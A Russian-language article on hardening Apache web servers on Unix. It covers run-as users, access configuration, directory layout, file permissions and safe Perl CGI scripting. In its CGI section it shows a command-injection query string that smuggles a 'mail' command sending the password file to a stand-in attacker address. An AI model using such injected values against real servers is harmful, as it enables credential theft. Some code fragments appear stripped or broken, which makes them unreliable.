**Некоторые аспекты безопасности Веб-серверов на Unix платформах**

Андрей Новиков

Предисловие

Защищенность компьютера, на котором работает Веб-сервер, и данных, находящихся на этом компьютере, зависит от многих аспектов. Основными из них являются:

Корректность настройки Веб-сервера.

Корректность построения дерева файловой системы.

Корректность установки прав доступа к файлам Веб-сервера.

Правильное написание CGI сценариев и программ.

Рассмотрим их по очереди.

Корректность настройки Веб-сервера

На безопасность работы Веб-сервера влияют некоторые настройки, устанавливаемые вами в файлах конфигурации. Я буду говорить в основном о сервере Apache, хотя все замечания в равной степени применимы и к другим серверам.

Прежде всего вам необходимо правильно выбрать пользователя, под которым будет работать Веб-сервер. Дело в том, что в Unix для того, чтобы подсоединиться к 80 порту, по умолчанию используемому в HTTP протоколе, Веб-серверу необходимо иметь права пользователя root. Но отвечать на запросы пользователей с такими правами очень не безопасно. Поэтому Веб-сервер порождает детей с правами другого пользователя, которые и обрабатывают запросы пользователей. В файле конфигурации (http.conf) необходимо указать имя пользователя, под которым будут запускаться дочерние процессы, и группу, к которой он принадлежит. В сервере Apache за это отвечают директивы User и Group.

Необходимо создать отдельного пользователя и группу, например apache и webstuff. Нельзя использовать предлагаемые по умолчанию nobody:nogroup - на некоторых системах это открывает "дыры" в защите. Ни в коем случае также нельзя запускать Веб-сервер из под пользователя webadmin, который обычно занимается всем этим хозяйством, т.к. он имеет права записи во все файлы (см. установку прав доступа к файлам). Обязательно запретите login для созданного вами пользователя.

Очень важным моментом в настройке Веб-сервера является настройка файла прав доступа (access.conf). Необходимо начать с корня дерева документов сервера и при необходимости конкретизировать установки ниже по дереву для отдельных подкаталогов. На мой взгляд более надежно использовать директиву , а не , т.к. она защищает конкретные наборы файлов, независимо от того, как вы к ним попали (ведь в серверах под Unix можно очень эффективно пользоваться линками к файлам и директориям, делая логическую структуру дерева документов более удобной). Если вы используете Alias, очень внимательно проанализируйте все возможные варианты построения логического дерева (пути к файлу).

С самого начала отмените директиву построения индексов (Option Indexes). Если вдруг пропадет файл index.html в каком-либо каталоге, сервер не построит список всех файлов в каталоге. Такой список в некоторых случаях может содержать нежелательные служебные файлы, которые пользователь не должен видеть. Обладание им открывает еще одну потенциальную "дыру". Несмотря на запрет индексирования помещайте в каждый каталог файл index.html хотя бы с пустым (это уже паранойя, но все же...).

Разрешайте серверу следовать символьным ссылкам только если вы действительно ими пользуетесь.

Для каталога /cgi-bin запретите все кроме ExecCGI. Проверьте, что скажет ваш сервер, если вы запросите http://www.server.dom/cgi-bin/. Он должен послать вас очень далеко, а не выдать список всех ваших сценариев!

Все служебные URL, такие как /server-status, /server-conf, должны быть открыты только для вашего доступа. При этом указывайте ваш IP адрес, а не hostname, т.к. hostname можно подделать, а IP адрес намного сложнее.

Корректность построения дерева файловой системы

Важно заранее очень хорошо продумать структуру каталогов. Ведь они отражают структуру вашего узла и менять потом все очень сложно. Учитывайте, что количество документов по одной теме будет все время расти. В каталоге не должно быть слишком много файлов. Это затрудняет их поиск, вы можете по ошибке что-то удалить, да и просто усложняет вам работу.

Очень важно, чтобы каталог с настройками, каталог с файлами регистрации (logs) и каталог со сценариями находились выше дерева документов. Доступ к каталогу сценариев должен осуществляться директивой ScriptAlias. Рекомендуется такая структура:

site\_\_\_\_\_conf

|\_\_logs

|\_\_cgi-bin

|\_\_htdocs

Очень аккуратно пользуйтесь связями, ведущими вне дерева документов. Старайтесь ссылаться только на отдельные файлы, а не на целые каталоги. Но если это нужно, то можно.

Корректность установки прав доступа к файлам Веб-сервера

Все файлы ниже каталога site не должны принадлежать пользователю, под которым работает сервер (apache), но должны принадлежать группе, в которую входит это пользователь (webstuff).

Обычно файлами владеет webadmin, также принадлежащий группе webstuff. Все каталоги и файлы должны создаваться с umask = 027, т.е. группа (читай - Веб-сервер) должна иметь только права на чтение и исполнение, а все остальные (не webadmin) не должны иметь никаких прав. Таким образом вам останется охранять только login root'а и webadmin'а.

Правильное написание CGI сценариев и программ

Одним из основных способов попасть в Ваш сервер, это воспользоваться неправильно написанным сценарием. Существует большое количество книг по безопасным сценариям. Я опишу только основные моменты.

Первым способом нарушить работу сценария является переполнение буфера ввода. Никогда не указывайте размер буфера исходя из разумных соображений. Определяйте его динамически:

read(STDIN, $buffer, $ENV{'CONTENT\_LENGTH'});

Неплохо также перед этим проверить $ENV{'CONTENT\_LENGTH'} и уменьшить ее до некоего разумного предела.

Вторым важным моментом является внедрение команд ОС в возвращаемые сценарию переменные. Возьмем пример:

Пусть у на в сценарии будет строка (@usernames - массив имен)

system "finger @usernames 2>&1";

Если мы вызовем такой сценарий строкой http://www.yoursite.ru/cgi-bin/bad\_finger.pl?andy+bob

то все будет замечательно. Но, если его вызвать строкой http://www.yoursite.ru/cgi-bin/bad\_finger.pl?`mail+badguys@hackers.org+ то ваш файл паролей улетит к "нехорошим парням".

В связи с этим только в крайних случаях используйте такие команды, как system(), exec() и eval(). Всегда проверяйте значения переменных на наличие метасимволов и удаляйте их. Например так:

$value =~ tr/'"\t\n\r\/<>|;//d;

$value =~ s///g;

Ну а самым надежным способом является проверка каждого поля на точный шаблон данных, которые вы ожидаете получить. Например, если вы запросили почтовый индекс, проверьте его строкой:

$zip =~ /^\d{6}$/

а если запросили адрес электронной почты, строкой:

$email=~s#(\w+(-|\.|))+@(\w+(-|\.|))+(ru|su|be|ca|cz|ee|fi)##io;

Заключение

Следуя этим нехитрым правилам вы значительно обезопасите ваш сервер от поползновений "нехороших парней", как их мило называют в зарубежной литературе. Главное, это помнить основной принцип обеспечения безопасности - запретите ВСЕ, а потом разрешайте только то, что Вам ДЕЙСТВИТЕЛЬНО необходимо.